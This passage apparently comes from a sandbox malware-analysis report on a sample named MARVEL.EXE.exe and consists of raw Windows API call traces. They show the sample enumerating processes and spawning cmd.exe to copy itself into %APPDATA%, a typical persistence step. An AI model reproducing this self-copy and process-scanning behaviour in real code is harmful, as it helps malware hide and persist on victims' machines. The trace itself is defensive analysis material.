lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.682] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0261.686] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.918] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0261.923] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0262.197] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.513] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0262.516] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 Thread: id = 3 os_tid = 0xa60 Thread: id = 4 os_tid = 0x968 Thread: id = 5 os_tid = 0x694 Thread: id = 6 os_tid = 0x9a8 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x33c86000" os_pid = "0xa50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0x998 [0028.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x43fedc | out: lpSystemTimeAsFileTime=0x43fedc*(dwLowDateTime=0xa212d480, dwHighDateTime=0x1d5e09d)) [0028.216] GetCurrentProcessId () returned 0xa50 [0028.216] GetCurrentThreadId () returned 0x998 [0028.216] GetTickCount () returned 0x11525f8 [0028.216] QueryPerformanceCounter (in: lpPerformanceCount=0x43fed4 | out: lpPerformanceCount=0x43fed4*=17008737669) returned 1 [0028.217] GetModuleHandleA (lpModuleName=0x0) returned 0x4a260000 [0028.217] __set_app_type (_Type=0x1) [0028.217] __p__fmode () returned 0x76be31f4 [0028.218] __p__commode () returned 0x76be31fc [0028.219] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2821a6) returned 0x0 [0028.219] __getmainargs (in: _Argc=0x4a284238, _Argv=0x4a284240, _Env=0x4a28423c, _DoWildCard=0, _StartInfo=0x4a284140 | out: _Argc=0x4a284238, _Argv=0x4a284240, _Env=0x4a28423c) returned 0 [0028.219] GetCurrentThreadId () returned 0x998 [0028.219] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x998) returned 0x60 [0028.219] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0028.219] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0028.219] SetThreadUILanguage (LangId=0x0) returned 0x409 [0028.219] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0028.219] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x43fe6c | out: phkResult=0x43fe6c*=0x0) returned 0x2 [0028.220] VirtualQuery (in: lpAddress=0x43fea3, lpBuffer=0x43fe3c, dwLength=0x1c | out: lpBuffer=0x43fe3c*(BaseAddress=0x43f000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0028.220] VirtualQuery (in: lpAddress=0x340000, lpBuffer=0x43fe3c, dwLength=0x1c | out: lpBuffer=0x43fe3c*(BaseAddress=0x340000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0028.220] VirtualQuery (in: lpAddress=0x341000, lpBuffer=0x43fe3c, dwLength=0x1c | out: lpBuffer=0x43fe3c*(BaseAddress=0x341000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0028.220] VirtualQuery (in: lpAddress=0x343000, lpBuffer=0x43fe3c, dwLength=0x1c | out: lpBuffer=0x43fe3c*(BaseAddress=0x343000, AllocationBase=0x340000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0028.220] VirtualQuery (in: lpAddress=0x440000, lpBuffer=0x43fe3c, dwLength=0x1c | out: lpBuffer=0x43fe3c*(BaseAddress=0x440000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0028.220] GetConsoleOutputCP () returned 0x1b5 [0028.220] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a284260 | out: lpCPInfo=0x4a284260) returned 1 [0028.220] SetConsoleCtrlHandler (HandlerRoutine=0x4a27e72a, Add=1) returned 1 [0028.220] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.220] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0028.220] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.220] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2841ac | out: lpMode=0x4a2841ac) returned 1 [0028.221] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.221] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0028.221] _get_osfhandle (_FileHandle=0) returned 0x3 [0028.221] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2841b0 | out: lpMode=0x4a2841b0) returned 1 [0028.222] _get_osfhandle (_FileHandle=0) returned 0x3 [0028.222] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0028.223] GetEnvironmentStringsW () returned 0x7b4068* [0028.223] GetProcessHeap () returned 0x7a0000 [0028.223] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xaca) returned 0x7b4b40 [0028.223] FreeEnvironmentStringsW (penv=0x7b4068) returned 1 [0028.223] GetProcessHeap () returned 0x7a0000 [0028.223] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7b0d20 [0028.223] GetEnvironmentStringsW () returned 0x7b4068* [0028.223] GetProcessHeap () returned 0x7a0000 [0028.223] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xaca) returned 0x7b5618 [0028.223] FreeEnvironmentStringsW (penv=0x7b4068) returned 1 [0028.223] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x43eddc | out: phkResult=0x43eddc*=0x68) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x0, lpData=0x43ede8*=0x0, lpcbData=0x43ede0*=0x1000) returned 0x2 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x1, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x0, lpData=0x43ede8*=0x1, lpcbData=0x43ede0*=0x1000) returned 0x2 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x0, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x40, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x40, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x0, lpData=0x43ede8*=0x40, lpcbData=0x43ede0*=0x1000) returned 0x2 [0028.224] RegCloseKey (hKey=0x68) returned 0x0 [0028.224] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x43eddc | out: phkResult=0x43eddc*=0x68) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x0, lpData=0x43ede8*=0x40, lpcbData=0x43ede0*=0x1000) returned 0x2 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x1, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x0, lpData=0x43ede8*=0x1, lpcbData=0x43ede0*=0x1000) returned 0x2 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x0, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x9, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x4, lpData=0x43ede8*=0x9, lpcbData=0x43ede0*=0x4) returned 0x0 [0028.224] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x43ede4, lpData=0x43ede8, lpcbData=0x43ede0*=0x1000 | out: lpType=0x43ede4*=0x0, lpData=0x43ede8*=0x9, lpcbData=0x43ede0*=0x1000) returned 0x2 [0028.224] RegCloseKey (hKey=0x68) returned 0x0 [0028.224] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e13 [0028.224] srand (_Seed=0x5e423e13) [0028.224] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe\"" [0028.224] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe\"" [0028.225] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a285260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0028.226] GetProcessHeap () returned 0x7a0000 [0028.226] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x210) returned 0x7b4068 [0028.226] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7b4070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0028.227] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0028.227] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0028.227] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0028.227] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0028.227] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0028.227] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0028.227] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0028.227] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0028.227] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0028.227] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0028.227] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0028.227] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0028.227] GetProcessHeap () returned 0x7a0000 [0028.227] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b4b40 | out: hHeap=0x7a0000) returned 1 [0028.227] GetEnvironmentStringsW () returned 0x7b4280* [0028.227] GetProcessHeap () returned 0x7a0000 [0028.227] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xae2) returned 0x7b6be0 [0028.227] FreeEnvironmentStringsW (penv=0x7b4280) returned 1 [0028.227] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0028.227] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0028.227] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0028.227] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0028.227] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0028.227] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0028.227] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0028.227] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0028.228] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0028.228] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0028.228] GetProcessHeap () returned 0x7a0000 [0028.228] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x54) returned 0x7b76d0 [0028.228] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x43fba8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0028.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x43fba8, lpFilePart=0x43fba4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x43fba4*="Desktop") returned 0x25 [0028.228] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0028.228] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x43f924 | out: lpFindFileData=0x43f924*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7b3ee8 [0028.228] FindClose (in: hFindFile=0x7b3ee8 | out: hFindFile=0x7b3ee8) returned 1 [0028.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x43f924 | out: lpFindFileData=0x43f924*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7b3ee8 [0028.228] FindClose (in: hFindFile=0x7b3ee8 | out: hFindFile=0x7b3ee8) returned 1 [0028.228] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0028.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x43f924 | out: lpFindFileData=0x43f924*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9b7d5820, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0x9b7d5820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7b3ee8 [0028.228] FindClose (in: hFindFile=0x7b3ee8 | out: hFindFile=0x7b3ee8) returned 1 [0028.228] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0028.229] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0028.229] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0028.229] GetProcessHeap () returned 0x7a0000 [0028.229] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b6be0 | out: hHeap=0x7a0000) returned 1 [0028.229] GetEnvironmentStringsW () returned 0x7b60f0* [0028.229] GetProcessHeap () returned 0x7a0000 [0028.229] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb36) returned 0x7b7f30 [0028.229] FreeEnvironmentStringsW (penv=0x7b60f0) returned 1 [0028.229] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a285260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0028.229] GetProcessHeap () returned 0x7a0000 [0028.229] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b76d0 | out: hHeap=0x7a0000) returned 1 [0028.229] GetProcessHeap () returned 0x7a0000 [0028.229] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x400e) returned 0x7b8a70 [0028.229] GetProcessHeap () returned 0x7a0000 [0028.229] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb2) returned 0x7b4dc0 [0028.229] GetProcessHeap () returned 0x7a0000 [0028.229] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b8a70 | out: hHeap=0x7a0000) returned 1 [0028.230] GetConsoleOutputCP () returned 0x1b5 [0028.230] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a284260 | out: lpCPInfo=0x4a284260) returned 1 [0028.230] GetUserDefaultLCID () returned 0x409 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a284950, cchData=8 | out: lpLCData=":") returned 2 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x43fce8, cchData=128 | out: lpLCData="0") returned 2 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x43fce8, cchData=128 | out: lpLCData="0") returned 2 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x43fce8, cchData=128 | out: lpLCData="1") returned 2 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a284940, cchData=8 | out: lpLCData="/") returned 2 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a284d80, cchData=32 | out: lpLCData="Mon") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a284d40, cchData=32 | out: lpLCData="Tue") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a284d00, cchData=32 | out: lpLCData="Wed") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a284cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a284c80, cchData=32 | out: lpLCData="Fri") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a284c40, cchData=32 | out: lpLCData="Sat") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a284c00, cchData=32 | out: lpLCData="Sun") returned 4 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a284930, cchData=8 | out: lpLCData=".") returned 2 [0028.231] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a284920, cchData=8 | out: lpLCData=",") returned 2 [0028.232] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0028.233] GetProcessHeap () returned 0x7a0000 [0028.233] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x20c) returned 0x7b4e80 [0028.233] GetConsoleTitleW (in: lpConsoleTitle=0x7b4e80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0028.233] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0028.233] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0028.233] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0028.233] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0028.237] GetProcessHeap () returned 0x7a0000 [0028.237] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x400a) returned 0x7b8a70 [0028.237] GetProcessHeap () returned 0x7a0000 [0028.237] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4008) returned 0x7bca88 [0028.237] GetProcessHeap () returned 0x7a0000 [0028.237] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x18) returned 0x7b5098 [0028.237] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0028.237] GetProcessHeap () returned 0x7a0000 [0028.237] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b5098 | out: hHeap=0x7a0000) returned 1 [0028.237] GetProcessHeap () returned 0x7a0000 [0028.237] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7bca88 | out: hHeap=0x7a0000) returned 1 [0028.237] GetProcessHeap () returned 0x7a0000 [0028.237] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b8a70 | out: hHeap=0x7a0000) returned 1 [0028.238] _wcsicmp (_String1="copy", _String2=")") returned 58 [0028.238] _wcsicmp (_String1="FOR", _String2="copy") returned 3 [0028.238] _wcsicmp (_String1="FOR/?", _String2="copy") returned 3 [0028.238] _wcsicmp (_String1="IF", _String2="copy") returned 6 [0028.238] _wcsicmp (_String1="IF/?", _String2="copy") returned 6 [0028.238] _wcsicmp (_String1="REM", _String2="copy") returned 15 [0028.238] _wcsicmp (_String1="REM/?", _String2="copy") returned 15 [0028.238] GetProcessHeap () returned 0x7a0000 [0028.238] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x58) returned 0x7b5098 [0028.238] GetProcessHeap () returned 0x7a0000 [0028.238] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x12) returned 0x7b50f8 [0028.240] GetProcessHeap () returned 0x7a0000 [0028.240] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xee) returned 0x7b5118 [0028.241] GetConsoleTitleW (in: lpConsoleTitle=0x43f9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0028.241] _wcsicmp (_String1="copy", _String2="DIR") returned -1 [0028.241] _wcsicmp (_String1="copy", _String2="ERASE") returned -2 [0028.241] _wcsicmp (_String1="copy", _String2="DEL") returned -1 [0028.241] _wcsicmp (_String1="copy", _String2="TYPE") returned -17 [0028.241] _wcsicmp (_String1="copy", _String2="COPY") returned 0 [0028.241] GetProcessHeap () returned 0x7a0000 [0028.241] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1d4) returned 0x7b5210 [0028.242] GetProcessHeap () returned 0x7a0000 [0028.242] RtlReAllocateHeap (Heap=0x7a0000, Flags=0x0, Ptr=0x7b5210, Size=0xee) returned 0x7b5210 [0028.242] GetProcessHeap () returned 0x7a0000 [0028.242] RtlSizeHeap (HeapHandle=0x7a0000, Flags=0x0, MemoryPointer=0x7b5210) returned 0xee [0028.245] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0028.245] GetProcessHeap () returned 0x7a0000 [0028.245] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xf8) returned 0x7b5308 [0028.245] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a285260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0028.245] GetProcessHeap () returned 0x7a0000 [0028.245] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x2c) returned 0x7b5408 [0028.245] GetProcessHeap () returned 0x7a0000 [0028.245] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x2c) returned 0x7b5440 [0028.245] GetProcessHeap () returned 0x7a0000 [0028.245] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x18) returned 0x7b5478 [0028.245] _wcsnicmp 